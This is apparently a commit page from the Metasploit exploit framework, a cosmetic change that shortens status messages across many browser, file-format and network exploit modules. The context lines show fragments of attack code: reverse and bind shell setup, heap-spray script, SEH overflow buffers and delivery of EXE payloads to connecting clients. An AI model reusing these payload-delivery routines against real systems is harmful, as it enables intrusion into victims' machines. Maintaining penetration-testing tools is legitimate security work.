Fix more print_*
parent
f77efbf89e
commit
711fb73048
|
@ -121,11 +121,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
jar = payload.encoded
|
||||
host = datastore['LHOST']
|
||||
port = datastore['LPORT']
|
||||
vprint_status("Java reverse shell to #{host}:#{port} from #{peer}" )
|
||||
vprint_status("Sending java reverse shell")
|
||||
else
|
||||
port = datastore['LPORT']
|
||||
datastore['RHOST'] = cli.peerhost
|
||||
vprint_status( "Java bind shell on #{cli.peerhost}:#{port}..." )
|
||||
vprint_status( "Java bind shell" )
|
||||
end
|
||||
if jar
|
||||
print_status( "Generated jar to drop (#{jar.length} bytes)." )
|
||||
|
|
|
@ -208,7 +208,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
shost = datastore['SHOST']
|
||||
if (shost)
|
||||
print_status("Sending malformed LWRES packet to #{rhost} (spoofed from #{shost})")
|
||||
print_status("Sending malformed LWRES packet (spoofed from #{shost})")
|
||||
open_pcap
|
||||
|
||||
p = PacketFu::UDPPacket.new
|
||||
|
@ -229,7 +229,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
handler
|
||||
else
|
||||
print_status("Sending malformed LWRES packet to #{rhost} every #{datastore['DELAY']} seconds.")
|
||||
print_status("Sending malformed LWRES packet every #{datastore['DELAY']} seconds.")
|
||||
|
||||
handler
|
||||
|
||||
|
|
|
@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Grab reference to the target
|
||||
t = target
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending exploit")
|
||||
|
||||
# Transmit the compressed response to the client
|
||||
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
|
||||
|
|
|
@ -176,7 +176,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
if request.uri =~ /\.swf$/
|
||||
#Browser requests our trigger file, why not
|
||||
print_status("Sending trigger SWF to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending trigger SWF...")
|
||||
send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )
|
||||
return
|
||||
end
|
||||
|
@ -291,7 +291,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
html = html.gsub(/^\t\t/, "")
|
||||
|
||||
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending HTML to...")
|
||||
send_response(cli, html, {'Content-Type' => "text/html"} )
|
||||
end
|
||||
end
|
||||
|
|
|
@ -91,7 +91,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending exploit...")
|
||||
|
||||
send_response_html(cli, content)
|
||||
|
||||
|
|
|
@ -103,7 +103,7 @@ for (#{var_i} = 0; #{var_i} < 1324; #{var_i}++) { #{rand8} = #{rand8} + unescape
|
|||
|
||||
content = Rex::Text.randomize_space(content)
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending exploit...")
|
||||
|
||||
send_response_html(cli, content)
|
||||
|
||||
|
|
|
@ -110,14 +110,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
webdav = "\\\\#{myhost}\\"
|
||||
|
||||
if (request.uri =~ /\.exe$/i)
|
||||
print_status "Sending EXE payload #{cli.peerhost}:#{cli.peerport} ..."
|
||||
print_status "Sending EXE payload"
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
data = generate_payload_exe({ :code => p.encoded })
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
return
|
||||
end
|
||||
|
||||
print_status "Sending 404 to #{cli.peerhost}:#{cli.peerport} ..."
|
||||
print_status "Sending 404..."
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'text/html'
|
||||
|
@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# OPTIONS requests sent by the WebDav Mini-Redirector
|
||||
#
|
||||
def process_options(cli, request)
|
||||
print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
|
||||
print_status("Responding to WebDAV OPTIONS request")
|
||||
headers = {
|
||||
'MS-Author-Via' => 'DAV',
|
||||
# 'DASL' => '<DAV:sql>',
|
||||
|
@ -147,7 +147,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
#
|
||||
def process_propfind(cli, request)
|
||||
path = request.uri
|
||||
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
|
||||
print_status("Received WebDAV PROPFIND request from: #{path}")
|
||||
body = ''
|
||||
|
||||
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
|
|
|
@ -77,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
when 'GET'
|
||||
process_get(cli, request)
|
||||
else
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
|
||||
print_status("#{request.method} => 404 (#{request.uri})")
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'text/html'
|
||||
|
@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def process_options(cli, request)
|
||||
vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
|
||||
vprint_status("OPTIONS #{request.uri}")
|
||||
headers = {
|
||||
'MS-Author-Via' => 'DAV',
|
||||
'DASL' => '<DAV:sql>',
|
||||
|
@ -122,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def process_propfind(cli, request)
|
||||
path = request.uri
|
||||
vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
|
||||
vprint_status("Received WebDAV PROPFIND request from: #{path}")
|
||||
body = ''
|
||||
|
||||
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
|
|
|
@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
sploit << make_nops(32)
|
||||
sploit << @p
|
||||
|
||||
print_status("Sending malicous payload #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending malicous payload")
|
||||
send_response(cli, sploit, {'Content-Type'=>'application/pls+xml'})
|
||||
end
|
||||
|
||||
|
|
|
@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
pla << generate_seh_payload(target.ret)
|
||||
pla << rand_text_alpha_upper(1266)
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending exploit")
|
||||
|
||||
send_response_html(cli, pla, { 'Content-Type' => 'text/plain' })
|
||||
|
||||
|
|
|
@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
agent = request.headers['User-Agent']
|
||||
if agent !~ /Media Player Classic/
|
||||
send_not_found(cli)
|
||||
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
|
||||
print_error("Unknown user-agent")
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -112,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
sploit << p
|
||||
sploit << rand_text_alpha(target['Max']-sploit.length)
|
||||
|
||||
print_status("Sending malicious content-type to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending malicious content-type")
|
||||
send_response(cli, '', {'Content-Type'=>sploit})
|
||||
|
||||
end
|
||||
|
|
|
@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def on_request_uri(cli,request)
|
||||
vprint_status("#{cli.peerhost}:#{cli.peerport} requested: #{request.uri}")
|
||||
vprint_status("Requested: #{request.uri}")
|
||||
|
||||
# No point to continue if the client isn't what we interested in
|
||||
ua = request.headers['User-Agent']
|
||||
|
|
|
@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
when 'GET'
|
||||
process_get(cli, request)
|
||||
else
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
|
||||
print_status("#{request.method} => 404 (#{request.uri})")
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'text/html'
|
||||
|
@ -108,7 +108,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def process_options(cli, request)
|
||||
vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
|
||||
vprint_status("OPTIONS #{request.uri}")
|
||||
headers = {
|
||||
'MS-Author-Via' => 'DAV',
|
||||
'DASL' => '<DAV:sql>',
|
||||
|
@ -127,7 +127,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def process_propfind(cli, request)
|
||||
path = request.uri
|
||||
vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
|
||||
vprint_status("Received WebDAV PROPFIND request: #{path}")
|
||||
body = ''
|
||||
|
||||
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
|
|
|
@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
my_target = targets[1]
|
||||
else
|
||||
send_not_found(cli)
|
||||
print_error("#{cli.peerhost}:#{cli.peerport} Unknown User-Agent")
|
||||
print_error("Unknown User-Agent")
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -219,7 +219,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
html = html.gsub(/^\t\t/, "")
|
||||
|
||||
print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending malicious page")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
|
||||
end
|
||||
|
|
|
@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def on_request_uri(cli, request)
|
||||
if request.uri =~ /\.exe/
|
||||
print_status("Sending 2nd stage payload to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending 2nd stage payload")
|
||||
return if ((p=regenerate_payload(cli)) == nil)
|
||||
data = generate_payload_exe( {:code=>p.encoded} )
|
||||
send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
|
||||
|
|
Loading…
Reference in New Issue